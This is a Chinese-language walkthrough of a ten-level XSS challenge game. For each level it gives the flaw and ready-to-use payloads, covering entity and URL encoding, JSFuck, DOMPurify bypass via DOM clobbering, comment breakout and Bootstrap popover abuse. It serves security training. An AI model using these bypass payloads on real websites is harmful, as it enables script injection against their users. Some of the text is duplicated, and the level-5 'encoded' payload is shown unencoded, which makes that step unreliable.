XSS Game通关教程
字数 1214 2025-08-24 16:48:16

XSS Game通关教程详解

1. Ma Spaghet!

漏洞点:直接通过GET参数somebody传输用户输入,未做任何过滤。

利用方法

  • 输入<input onmouseover=alert(1)>
  • 当鼠标移动到输入框时触发弹窗

原理:直接将用户输入插入到HTML中,可以构造任意HTML标签和事件。

2. Jefff

漏洞点:用户输入jeff被直接放入eval()函数中执行。

利用方法

?jeff="-alert(1337)-"
或
?jeff=";alert(1337);"

原理:通过闭合前面的字符串并插入新的JS代码,使eval执行我们构造的代码。

3. Ugandan Knuckles

过滤:尖括号被过滤。

利用方法

?wey="<a autofocus onfocus=alert(23) href=#>x</a>"
或
<xss tabindex=1 onfocus=alert(1) autofocus>
或
<xss onfocus=alert(23) autofocus contenteditable>

原理:虽然尖括号被过滤,但可以通过闭合input标签的属性值并添加新的事件处理器。

4. Ricardo Milos

漏洞点:用户输入直接作为表单提交的URL地址,无任何过滤。

利用方法

?ricardo=javascript:alert(1337)

原理:使用javascript伪协议直接在URL中执行JS代码。

5. Ah That's Hawt

过滤:括号、斜点、斜杠被过滤。

绕过方法:使用HTML实体编码。

步骤

  1. 原始payload:<svg onload="alert(1337)">
  2. 实体编码:<svg onload="alert(1337)">
  3. URL编码:
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6. Ligma

过滤:字母和数字被过滤。

绕过方法:使用JSFuck编码。

步骤

  1. 原始payload:alert(1337)
  2. JSFuck编码:使用[]()!+等字符构造等效JS代码
  3. URL编码后作为balls参数传递

7. Mafia

限制

  1. 截取长度50的字符串
  2. '"+-!\[]被替换为_
  3. alert被替换为_

绕过方法

  1. 匿名函数方式:
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
  1. 数字转字符串方式:
?mafia=eval(8680439..toString(30))(1337)
  1. location.hash方式:
?mafia=eval(location.hash.slice(1))#alert(1337)

8. Ok, Boomer

防护:使用DOMPurify过滤。

绕过方法:DOM Clobbering技术。

步骤

  1. 创建id为ok的DOM元素
  2. 利用<a>标签的href属性
  3. 使用DOMPurify允许的协议(如mailto、tel)

payload

?boomer=<a%20id=ok%20href=mailto:alert(1337)>
或
?boomer=<a%20id=ok%20href=tel:alert(1337)>

9. Area 51

过滤:输入被包裹在HTML注释中。

绕过方法:打破注释。

payload

?debug=<?php><svg onload=alert(1337)>
或
?debug=<?><svg onload=alert(1337)>
或
?debug=<?php>

10. Keanu

防护:使用DOMPurify过滤name参数。

绕过方法:利用Bootstrap popover的data-container和data-content属性。

payload

?number='&name=<button data-toggle=popover data-container=number id=keanu data-content="'-alert(1337)//">
或
?number='&name=<button id%3D"keanu" data-toggle%3D"popover" data-container%3D"%23number" data-content%3D"'%3Balert(1)%3B%2F%2F">

总结

本教程详细介绍了10种XSS漏洞的利用方法,涵盖了:

  1. 基本的HTML注入
  2. JavaScript代码注入
  3. 绕过字符过滤的技术(实体编码、JSFuck)
  4. DOM Clobbering
  5. 打破HTML注释
  6. 利用前端框架特性绕过防护

每种技术都有其适用场景,理解这些技术有助于更好地防御XSS攻击。

XSS Game通关教程详解 1. Ma Spaghet ! 漏洞点 :直接通过GET参数 somebody 传输用户输入,未做任何过滤。 利用方法 : 输入 <input onmouseover=alert(1)> 当鼠标移动到输入框时触发弹窗 原理 :直接将用户输入插入到HTML中,可以构造任意HTML标签和事件。 2. Jefff 漏洞点 :用户输入 jeff 被直接放入 eval() 函数中执行。 利用方法 : 原理 :通过闭合前面的字符串并插入新的JS代码,使eval执行我们构造的代码。 3. Ugandan Knuckles 过滤 :尖括号被过滤。 利用方法 : 原理 :虽然尖括号被过滤,但可以通过闭合input标签的属性值并添加新的事件处理器。 4. Ricardo Milos 漏洞点 :用户输入直接作为表单提交的URL地址,无任何过滤。 利用方法 : 原理 :使用javascript伪协议直接在URL中执行JS代码。 5. Ah That's Hawt 过滤 :括号、斜点、斜杠被过滤。 绕过方法 :使用HTML实体编码。 步骤 : 原始payload: <svg onload="alert(1337)"> 实体编码: <svg onload="alert(1337)"> URL编码: 6. Ligma 过滤 :字母和数字被过滤。 绕过方法 :使用JSFuck编码。 步骤 : 原始payload: alert(1337) JSFuck编码:使用 []()!+ 等字符构造等效JS代码 URL编码后作为 balls 参数传递 7. Mafia 限制 : 截取长度50的字符串 '"+-!\[] 被替换为 _ alert 被替换为 _ 绕过方法 : 匿名函数方式: 数字转字符串方式: location.hash方式: 8. Ok, Boomer 防护 :使用DOMPurify过滤。 绕过方法 :DOM Clobbering技术。 步骤 : 创建id为 ok 的DOM元素 利用 <a> 标签的 href 属性 使用DOMPurify允许的协议(如mailto、tel) payload : 9. Area 51 过滤 :输入被包裹在HTML注释中。 绕过方法 :打破注释。 payload : 10. Keanu 防护 :使用DOMPurify过滤name参数。 绕过方法 :利用Bootstrap popover的data-container和data-content属性。 payload : 总结 本教程详细介绍了10种XSS漏洞的利用方法,涵盖了: 基本的HTML注入 JavaScript代码注入 绕过字符过滤的技术(实体编码、JSFuck) DOM Clobbering 打破HTML注释 利用前端框架特性绕过防护 每种技术都有其适用场景,理解这些技术有助于更好地防御XSS攻击。